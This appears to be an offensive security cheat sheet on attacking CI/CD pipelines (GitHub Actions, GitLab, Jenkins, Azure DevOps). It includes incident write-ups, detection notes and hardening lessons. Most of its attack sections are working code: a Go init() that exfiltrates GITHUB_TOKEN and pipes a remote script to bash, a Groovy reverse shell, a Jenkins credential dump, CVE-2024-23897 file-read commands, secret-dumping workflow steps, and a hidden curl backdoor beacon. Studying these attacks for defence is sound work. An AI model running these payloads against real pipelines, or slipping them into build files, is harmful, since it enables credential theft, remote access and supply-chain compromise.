Security testing for Continuous Integration and Continuous Deployment pipelines.
CI/CD systems are high-value targets because they:
- Have access to source code
- Store secrets (API keys, credentials)
- Can deploy to production
- Often have elevated cloud permissions
- Trust code from repositories
In February 2026, an autonomous bot named hackerbot-claw exploited insecure GitHub Actions configurations across multiple high-profile repositories including avelino/awesome-go (140,000+ stars), Microsoft AI repositories, and DataDog projects . The campaign demonstrated that manual oversight is no longer an effective defense against autonomous, continuous CI/CD exploitation .
How the Attack Worked:
The bot executed fully automated reconnaissance, trigger creation, code execution, payload delivery, and credential exfiltration without human intervention .
Step 1 - Reconnaissance: The bot scanned public repositories for:
pull_request_targetworkflows that check out fork codeissue_commenttriggers without authorization checks${{ }}expressions interpolated into shell commands- Overly broad
GITHUB_TOKENpermissions
Step 2 - Trigger Creation: The bot opened benign-looking pull requests with malicious payloads embedded in:
- A Go
init()function - A branch name
- A filename
- A modified script
- An AI prompt file
Step 3 - Code Execution: Because pull_request_target runs in the context of the target repository, it executes with trusted privileges while checking out attacker-controlled code .
Step 4 - Second-Stage Payload: All attacks called back to hackmoltrepeat.com/molt to deliver second-stage scripts .
Step 5 - Credential Exfiltration: The bot exfiltrated GITHUB_TOKEN and Personal Access Tokens (PATs) to recv.hackmoltrepeat.com. Stolen tokens were used to push commits, delete releases, modify repositories, and alter workflows .
The awesome-go Exploit:
The workflow in avelino/awesome-go used pull_request_target and checked out fork code, running with target repository permissions but executing attacker-controlled code. The attacker modified a Go script to include:
func init() {
token := os.Getenv("GITHUB_TOKEN")
repo := os.Getenv("GITHUB_REPOSITORY")
http.Post("https://recv.hackmoltrepeat.com", "application/json",
strings.NewReader(`{"token":"`+token+`","repo":"`+repo+`"}`))
exec.Command("sh", "-c", "curl -s https://hackmoltrepeat.com/molt | bash").Run()
}This exfiltrated the GITHUB_TOKEN and downloaded a second-stage payload. With a write-scoped token, the attacker could push directly to main, modify workflows, merge malicious PRs, and persist access .
# Secrets accessible via ${{ secrets.NAME }}
# Check for exposed secrets in logs
steps:
- name: Expose secrets (malicious)
run: |
echo "${{ secrets.AWS_ACCESS_KEY }}" | base64
env | base64
cat $GITHUB_ENVReal-World Example - CodeQLEAKED (2024): Praetorian researchers discovered that a GitHub Actions workflow in the CodeQL repository briefly exposed a GitHub token within a debug artifact. Despite its short lifespan, the token had write permissions, allowing repository compromise and highlighting serious supply chain risks .
# GITHUB_TOKEN has repo access by default
# Can be used for:
# - Push to repo (if not protected)
# - Create issues/PRs
# - Access private packages
# - Read other private repos (in org)
# Check permissions
curl -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/owner/repo
# Exfiltrate repo content
git clone https://x-access-token:${GITHUB_TOKEN}@github.com/org/private-repo.gitA critical vulnerability discovered in PraisonAI (versions 4.5.139 and below) demonstrated the ArtiPACKED attack vector. The GitHub Actions workflows were vulnerable because actions/checkout was used without setting persist-credentials: false .
Vulnerability Details: By default, actions/checkout writes the GITHUB_TOKEN (and sometimes ACTIONS_RUNTIME_TOKEN) into the .git/config file for persistence. If any subsequent workflow step uploads artifacts (build outputs, logs, test results, etc.), these tokens can be inadvertently included. Since PraisonAI was a public repository, any user with read access could download these artifacts and extract the leaked tokens .
Impact: Attackers could push malicious code, poison releases and PyPI/Docker packages, steal repository secrets, and execute a full supply chain compromise affecting all downstream users .
Fix: The issue was fixed in version 4.5.140 by setting persist-credentials: false in checkout actions .
# Self-hosted runners may have:
# - Access to internal network
# - Cached credentials
# - Persistent storage between jobs
steps:
- name: Explore runner
run: |
# Check for cached credentials
find /home -name "*.pem" -o -name "credentials" 2>/dev/null
cat ~/.aws/credentials
cat ~/.docker/config.json
# Network enumeration
ip addr
cat /etc/hosts
nmap -sn 10.0.0.0/24Real-World Example - TensorFlow Supply Chain Compromise (2024): Praetorian researchers identified a misconfiguration in the TensorFlow repository that could allow an external attacker to compromise the repository's self-hosted runners. An attacker could steal secrets through runner post-exploitation and workflow runtime tampering, leading to a full-scale supply chain attack .
Direct PPE: Attacker modifies workflow file
Indirect PPE: Attacker modifies code that workflow executes
Attack vectors:
1. Compromised PR from fork
2. Compromised dependency
3. Injected build scripts
Real-World Example - PostHog Shai-Hulud 2.0 Worm (2025): In November 2025, PostHog experienced its largest security incident when a malicious pull request triggered an automation script that ran with full project privileges. Because the workflow blindly executed code from the attacker's branch, the intruder seized control and exfiltrated a bot's personal access token with write permissions across the organization .
Worm Propagation: The contaminated packages (posthog-node, posthog-js, posthog-react-native) contained a pre-install script that ran automatically when installed. This script ran TruffleHog to scan for credentials, exfiltrated found secrets to new public GitHub repositories, then used stolen npm credentials to publish further malicious packages. More than 25,000 developers had their secrets compromised within three days .
A critical vulnerability in GitLab (CVE-2024-6389) allowed the CI_JOB_TOKEN to be used to obtain GitLab session tokens . This meant that a CI job token, which should have limited permissions, could be escalated to gain full user session access.
Additional GitLab Vulnerabilities (2024-2025): Recent security research has revealed multiple CI/CD attack vectors in GitLab :
| Vulnerability | Impact |
|---|---|
| CI_JOB_TOKEN can obtain GitLab session token | Session hijacking, account takeover |
| Exposure of protected and masked CI/CD variables via on-demand DAST | Secret leakage |
| Credentials disclosed when repository mirroring fails | Credential theft |
| Dependency Proxy credentials logged in plaintext in graphql logs | Credential exposure |
| Group Developers can view group runners information | Information disclosure |
| Variables from settings not overwritten by PEP when template is included | Variable injection |
# .gitlab-ci.yml
stages:
- exploit
dump_vars:
stage: exploit
script:
- printenv | base64
- cat $CI_PROJECT_DIR/.gitlab-ci.yml
- echo $CI_JOB_TOKEN# CI_JOB_TOKEN can:
# - Clone repos in same group
# - Push to container registry
# - Access package registry
# Clone private repo
git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/group/private-repo.git
# Push to registry
docker login -u gitlab-ci-token -p $CI_JOB_TOKEN registry.gitlab.com
docker push registry.gitlab.com/group/project/image:tag# Protected variables only available on protected branches
# Test from unprotected branch to see what's accessible
test:
script:
- echo "Protected var: $PROD_API_KEY" # May be empty
- echo "Unprotected var: $DEV_API_KEY" # AccessibleAffected Versions: Jenkins 2.441 and earlier, Jenkins LTS 2.426.2 and earlier Fixed in: Jenkins 2.442, Jenkins LTS 2.426.3
Description: This critical vulnerability allowed unauthenticated attackers to read arbitrary files on the Jenkins controller file system. The vulnerability exists because Jenkins does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path with the file's contents .
Root Cause: The vulnerability stems from the expandAtFiles() function in the org.kohsuke.args4j.CmdLineParser class. When parsing CLI arguments, if the parser encounters an '@' symbol followed by a file path, it reads and expands the content of that file .
Exploitation:
# Read arbitrary files without authentication
java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd
# Read the initial admin password
java -jar jenkins-cli.jar -s http://target-jenkins:8080/ help @/var/jenkins_home/secrets/initialAdminPassword
# HTTP-based exploitation
curl 'http://jenkins:8080/cli?remoting=false' \
-H 'Content-type: application/octet-stream' \
--data-binary '@payload.bin'File Read Limitations:
- Without authentication: Only first 3 lines of the file can be read (depending on CLI command)
- With 'Overall/Read' permission: Full file content can be read
- Binary files can be extracted but may be affected by encoding issues
Escalation to RCE:
Once file read is achieved, attackers can escalate to remote code execution:
-
Extract Credentials:
- Read
/var/jenkins_home/credentials.xmlfor encrypted credentials - Read
/var/jenkins_home/secrets/master.keyandhudson.util.Secretfor decryption - Decrypt credentials using Jenkins script console:
println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())
- Read
-
Forge "Remember-me" cookies for administrative access
-
Execute arbitrary code through Resource Root URL, XSS, or CSRF vectors
Real-World Exploitation: This vulnerability has been actively exploited in the wild, added to CISA Known Exploited Vulnerabilities (KEV) catalog, used by ransomware gangs (RansomEXX) to compromise infrastructure, and exploited by threat actor IntelBroker to steal GitHub repositories and compromise IT service providers .
Detection:
# Splunk detection query
index=web uri="/cli?remoting=false" http_method=POST http_status=200
# Look for payload patterns containing @/path/to/fileMitigation:
- Upgrade to Jenkins 2.442 or LTS 2.426.3+
- Disable Jenkins CLI access if immediate patching is not possible
- Set Java system property:
hudson.cli.CLICommand.allowAtSyntax=false - Restrict network access to Jenkins admin interface
// If you have access to /script console
// Full Groovy execution
def cmd = "id"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout\nerr> $serr"
// Reverse shell
def cmd = ["/bin/bash", "-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]
cmd.execute()// Dump all credentials from Jenkins
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
def creds = CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
Jenkins.instance,
null,
null
)
for (c in creds) {
println(c.id + ": " + c.username + " / " + c.password)
}// Secrets may leak in build logs
pipeline {
agent any
environment {
SECRET = credentials('secret-id')
}
stages {
stage('Build') {
steps {
// This may print masked secret
sh 'echo $SECRET'
// This may leak it
sh 'printenv | grep -i secret'
}
}
}
}A security researcher uncovered a critical vulnerability in the Node.js CI/CD pipeline that allowed remote code execution on internal Jenkins agents. The attack stemmed from how Node.js orchestrated workflows using GitHub Actions, Jenkins, and a custom GitHub App .
The Attack Vector: The flaw allowed a threat actor to smuggle unreviewed code into Jenkins pipelines by forging Git commit timestamps—tricking the system into believing that malicious commits occurred before maintainers had approved the pull request. This desynchronization between platforms opened the door to persistent code execution, potential lateral movement, and exfiltration of Jenkins credentials .
Exploitation Steps:
- Submit a legitimate pull request
- Wait for the required labels and approval
- Push a forged-timestamp commit containing a malicious payload
- The payload modified build scripts to install a rogue GitHub Actions runner connected to the attacker's repository
- This gave persistent access to over a dozen Jenkins agents
# If pipeline has access to service connections
# Can deploy/access cloud resources
- task: AzureCLI@2
inputs:
azureSubscription: 'Production'
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
az account show
az keyvault secret list --vault-name prod-vaultAzure Sentinel Detection: According to ATT&CK mapping T1195.001, Azure Sentinel provides hunting queries to identify potentially malicious changes to Azure DevOps project resources :
| Detection Query | Purpose |
|---|---|
| "Azure DevOps - Project Visibility changed to public" | Detect exposure of private projects |
| "AzureDevops Service Connection Abuse" | Detect malicious behavior with service connections |
| "External Upstream Source added to Azure DevOps" | Detect potential build pipeline compromise |
| "Azure DevOps Pipeline modified by a New User" | Detect unauthorized pipeline modifications |
| "New Agent Added to Pool by New User or a New OS" | Detect suspicious agent additions |
# Self-hosted agents may have cached credentials
steps:
- script: |
cat ~/.azure/credentials
cat ~/.kube/config
env | grep -i azure# Register internal package names on public registry
# When CI runs `npm install`, it may fetch malicious public package
# Check for vulnerable packages
# 1. Find internal package names (package.json, requirements.txt)
# 2. Check if name exists on public registry
# 3. If not, register it with malicious codeReal-World Example - CloudImposer (Google Cloud Platform, 2024): Tenable discovered a dependency confusion attack method, dubbed CloudImposer, that could have exposed Google Cloud Platform customers to remote code execution attacks. GCP's App Engine, Cloud Functions, and Cloud Composer services were affected .
Root Cause: The use of the --extra-index-url argument in Python, which instructs applications to look for private dependencies in the public registry (PyPI), in addition to the specified private registry. The pip package installer prioritizes the package with the higher versioning number when encountering two packages with the same name .
The Attack: After identifying a referenced package that was not present in the public registry, Tenable created their own package with the same name, uploaded it to PyPI, and launched the dependency confusion attack against Cloud Composer, Google's managed service version of Apache Airflow. They successfully verified that the PoC resulted in the execution of code on Google's internal servers .
Google's Response: Google classified this as an RCE bug, patched it immediately, and updated GCP documentation to remove the recommendation to use --extra-index-url, replacing it with --index-url (which only looks for packages in defined registries) .
# If build cache is shared between projects
# Poisoned cache can inject malicious artifacts
# Example: npm cache poisoning
- name: Setup Node with cache
uses: actions/setup-node@v3
with:
cache: 'npm' # Shared cache may be poisoned# Push malicious image to internal registry
# If CI pulls by tag (not digest), can be replaced
# Push malicious image
docker tag malicious:latest registry.internal.com/app:v1.0
docker push registry.internal.com/app:v1.0
# CI job pulls compromised image
docker pull registry.internal.com/app:v1.0# From compromised CI runner:
# Find other repos/projects
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/company/repos?type=all"
# Access cloud resources
aws sts get-caller-identity
az account list
gcloud projects list
# Pivot to internal services
nmap -sn 10.0.0.0/24
curl http://internal-service.local/# Add backdoor to workflow
# Hidden in test or setup step
- name: Setup environment
run: |
# Legitimate setup
npm install
# Hidden backdoor
curl -s https://attacker.com/beacon?repo=$GITHUB_REPOSITORY &- Unusual secrets access patterns
- Modified workflow files
- New self-hosted runners
- Unexpected network connections from runners
- Build artifact changes
- Service connection usage spikes
- Suspicious
@/path/to/filepatterns in CLI requests (Jenkins) - Pull requests modifying CI/CD workflows
pull_request_targetworkflows checking out fork code without review
From the hackerbot-claw Campaign:
- Never use
pull_request_targetwithout additional safeguards - Never interpolate
${{ github.event.pull_request.title }}or other PR-controlled values directly intorun:commands - Always sanitize branch names, filenames, and PR metadata before using in shell commands
- Set minimal
GITHUB_TOKENpermissions usingpermissions:block
From the ArtiPACKED Vulnerability (CVE-2026-40313):
- Always set
persist-credentials: falseinactions/checkoutsteps - Never upload artifacts containing tokens or credentials
- Use dedicated artifact upload steps with explicit include/exclude patterns
From the PostHog Shai-Hulud 2.0 Incident:
- Adopt a "trusted publisher" model for package releases
- Never run untrusted code from pull requests with write privileges
- Disable install-script execution in CI/CD pipelines
- Require manual approval for workflow changes
From the CloudImposer Attack:
- Use
--index-urlinstead of--extra-index-urlwhen installing private dependencies - Implement package version pinning and verification
- Monitor for typosquatting and dependency confusion attempts
From CVE-2024-23897 (Jenkins):
- Keep Jenkins updated to the latest patched version
- Disable CLI access if not required
- Restrict network access to Jenkins admin interface
- Monitor for suspicious CLI requests
# CI/CD attack tools
# GATO (Github Attack ToolKit) - GitHub Actions exploitation
# Identifies and exploits misconfigurations in GitHub Actions workflows
# Supports mapping pipelines, privilege escalation, and secrets extraction
https://github.com/AhmedMohamedDev/gato
# Glato (GitLab Attack ToolKit) - GitLab exploitation (BlackHat 2025 release)
# Similar functionality for GitLab CI/CD pipelines
# nord-stream - GitLab/GitHub secrets extraction
https://github.com/AhmedMohamedDev/nord-stream
# pwn-pipeline - Pipeline exploitation
https://github.com/AhmedMohamedDev/pwn-pipeline
# GitPhish - Automates GitHub OAuth device code phishing
# Demonstrates how attackers can trick users into granting token-based access
# Nosey Parker - Secrets scanner
# Scans files and Git history for secrets like credentials and API keys
# Nuclei CI/CD templates
nuclei -t http/exposures/configs/jenkins-config.yaml
# CVE-2024-23897 Jenkins Scanner
# Use the public PoC to test for Jenkins file read vulnerability
https://github.com/vmc8ll/poc-CVE-2024-23897- GitLab - GitLab specific attacks
- Supply Chain - Dependency attacks (including Dependency Confusion)
- Cloud - CI/CD often has cloud access
- Jenkins Hardening - Official Jenkins security guide